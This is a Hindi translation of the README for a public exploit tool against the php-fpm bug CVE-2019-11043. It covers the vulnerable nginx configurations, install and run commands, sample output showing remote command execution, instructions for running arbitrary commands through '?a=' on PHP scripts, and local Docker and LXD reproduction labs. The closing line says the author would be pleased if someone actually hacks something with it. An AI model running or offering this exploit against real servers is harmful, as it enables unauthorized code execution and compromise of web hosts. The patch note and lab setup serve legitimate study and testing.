
CVE-2019-11043 के लिए शोषण
यह php-fpm (CVE-2019-11043) में एक बग के लिए एक शोषण है। कुछ nginx + php-fpm कॉन्फ़िगरेशन में, बग को बाहर से ट्रिगर करना संभव है। इसका मतलब है कि यदि आपके पास असुरक्षित कॉन्फ़िगरेशन है तो एक वेब उपयोगकर्ता कोड निष्पादन प्राप्त कर सकता है (नीचे देखें #the-full-list-of-preconditions)।
जबकि हम लेखन करने में बहुत आलसी थे, ऑरेंज त्साई ने अपने ब्लॉग में एक संपूर्ण विश्लेषण प्रकाशित किया। उन्हें साधुवाद।
इसके अलावा, ZeroNights 2019 से मेरी स्लाइड्स उपलब्ध हैं।
यदि एक वेबसर्वर nginx + php-fpm चलाता है और nginx में निम्नलिखित कॉन्फ़िगरेशन है
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
जिसमें किसी भी स्क्रिप्ट अस्तित्व जांच (जैसे try_files) का अभाव है, तो आप शायद इस शोषण से इसे हैक कर सकते हैं।
location ~ [^/]\.php(/|$) को php-fpm पर अग्रेषित किया जाना चाहिए (शायद regexp सख्त हो सकता है, देखें #1)।fastcgi_param PATH_INFO $fastcgi_path_info; कथन के माध्यम से PATH_INFO चर असाइनमेंट होना चाहिए। साथ ही SCRIPT_FILENAME को fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; का उपयोग करके सेट किया जाना चाहिए ($document_root के बजाय एक स्थिर पथ हो सकता है)। पहले, हमने सोचा कि ये हमेशा fastcgi_params फ़ाइल में मौजूद होते हैं, लेकिन यह सच नहीं है।PATH_INFO को खाली मान पर सेट करने का एक तरीका होना चाहिए। यह शोषण मानता है कि fastcgi_split_path_info निर्देश मौजूद है और इसमें ^ से शुरू और $ से समाप्त होने वाला regexp है, इसलिए यह एक न्यूलाइन वर्ण के साथ regexp को तोड़ने का प्रयास करता है।PATH_INFO को REQUEST_URI के बाद सेट किया गया है।try_files $uri =404 या if (-f $uri) जैसी कोई फ़ाइल अस्तित्व जांच नहीं। यदि Nginx FastCGI अग्रेषण से पहले गैर-मौजूद स्क्रिप्ट के अनुरोधों को छोड़ देता है, तो हमारे अनुरोध कभी php-fpm तक नहीं पहुंचते। इसे जोड़ना पैच करने का सबसे आसान तरीका भी है।बहुत समय पहले php-fpm स्क्रिप्ट के एक्सटेंशन को प्रतिबंधित नहीं करता था, जिसका अर्थ है कि /avatar.png/some-fake-shit.php जैसा कुछ avatar.png को PHP स्क्रिप्ट के रूप में निष्पादित कर सकता था। यह मुद्दा लगभग 2010 में ठीक किया गया था।
वर्तमान में फ़ाइल अपलोड की आवश्यकता नहीं है, नवीनतम संस्करणों में काम करता है (जब तक फिक्स नहीं आ गया), और, सबसे महत्वपूर्ण बात, शोषण बहुत अच्छा है।
इसे स्थापित करें
go get github.com/neex/phuip-fpizdam
यदि आपको अजीब संकलन त्रुटियाँ मिलती हैं, तो सुनिश्चित करें कि आप go >= 1.13 का उपयोग कर रहे हैं। प्रोग्राम को phuip-fpizdam [url] का उपयोग करके चलाएं (यह मानते हुए कि आपके पास $GOPATH/bin आपके $PATH के अंदर है, अन्यथा बाइनरी का पूरा पथ निर्दिष्ट करें)। अच्छा आउटपुट इस तरह दिखता है:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
इसके बाद, आप सभी PHP स्क्रिप्ट में ?a=<आपका कमांड> जोड़ना शुरू कर सकते हैं (आपको कई पुनर्प्रयासों की आवश्यकता हो सकती है)।
वैकल्पिक रूप से, आप शोषण चलाने के लिए डॉकर इमेज का उपयोग कर सकते हैं:
docker run --rm ypereirareis/cve-2019-11043 [url]
यदि आप इस मुद्दे को पुन: उत्पन्न करना चाहते हैं या डॉकर के माध्यम से स्थानीय रूप से शोषण के साथ खेलना चाहते हैं, तो निम्नलिखित करें:
reproducer निर्देशिका में जाएं।docker build -t reproduce-cve-2019-11043 . का उपयोग करके डॉकर इमेज बनाएं। इसमें लंबा समय लगता है क्योंकि यह आंतरिक रूप से php रिपॉजिटरी को क्लोन करता है और इसे स्रोत से बनाता है। हालांकि, यदि आप शोषण को डीबग करना चाहते हैं तो यह आसान होगा। बनाया गया संशोधन फिक्स से ठीक पहले का है।docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 का उपयोग करके डॉकर चलाएं।phuip-fpizdam http://127.0.0.1:8080/script.php का उपयोग करके शोषण चलाएं।?a= जोड़कर कमांड निष्पादित करने में सक्षम होंगे: http://127.0.0.1:8080/script.php?a=id. कई बार प्रयास करें क्योंकि केवल कुछ php-fpm वर्कर संक्रमित होते हैं।यदि आप इस मुद्दे को पुन: उत्पन्न करना चाहते हैं या LXD के माध्यम से स्थानीय रूप से शोषण के साथ खेलना चाहते हैं, तो निम्नलिखित करें:
vulnerable और attacker। आप दोनों कंटेनरों के लिए ubuntu:18.04 कंटेनर इमेज का उपयोग कर सकते हैं।vulnerable कंटेनर में, nginx और php-fpm स्थापित करें। सर्वर ब्लॉक को this configuration के रूप में कॉन्फ़िगर करें। एक खाली फ़ाइल /var/www/html/index.php बनाएं।attacker कंटेनर में, Go भाषा स्थापित करें (sudo snap install go --classic), इस रिपॉजिटरी को क्लोन करें, और रिपॉजिटरी की निर्देशिका में go build चलाएं।./phuip-fpizdam http://vulnerable.lxd/index.php। सभी php-fpm वर्करों को संक्रमित करने के लिए कई प्रकारों का प्रयास करें।अधिक विस्तृत निर्देशों के लिए, देखें Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers।
php-fpm में बफर अंडरफ्लो PHP संस्करण 5 में मौजूद है। हालांकि, यह शोषण FastCGI चरों को संग्रहीत करने के लिए उपयोग किए जाने वाले अनुकूलन का लाभ उठाता है, _fcgi_data_seg। यह अनुकूलन केवल php 7 में मौजूद है, इसलिए यह विशेष शोषण केवल php 7 के लिए काम करता है। हो सकता है कि कोई अन्य शोषण तकनीक हो जो php 5 में काम करती हो।
मूल विसंगति की खोज d90pwn ने Real World CTF के दौरान की थी। मूल क्लॉज मेरे (Emil Lerner) द्वारा पाया गया था, साथ ही php.ini विकल्प सेट करने का तरीका भी। अंतिम php.ini विकल्प सेट beched द्वारा पाया गया है।
यह शोषण MIT लाइसेंस की शर्तों के तहत वितरित किया जाता है। इस शोषण से किसी भी नुकसान से बचें। लेकिन अगर आप वास्तव में इस चीज़ से कुछ हैक करते हैं, तो मुझे खुशी होगी।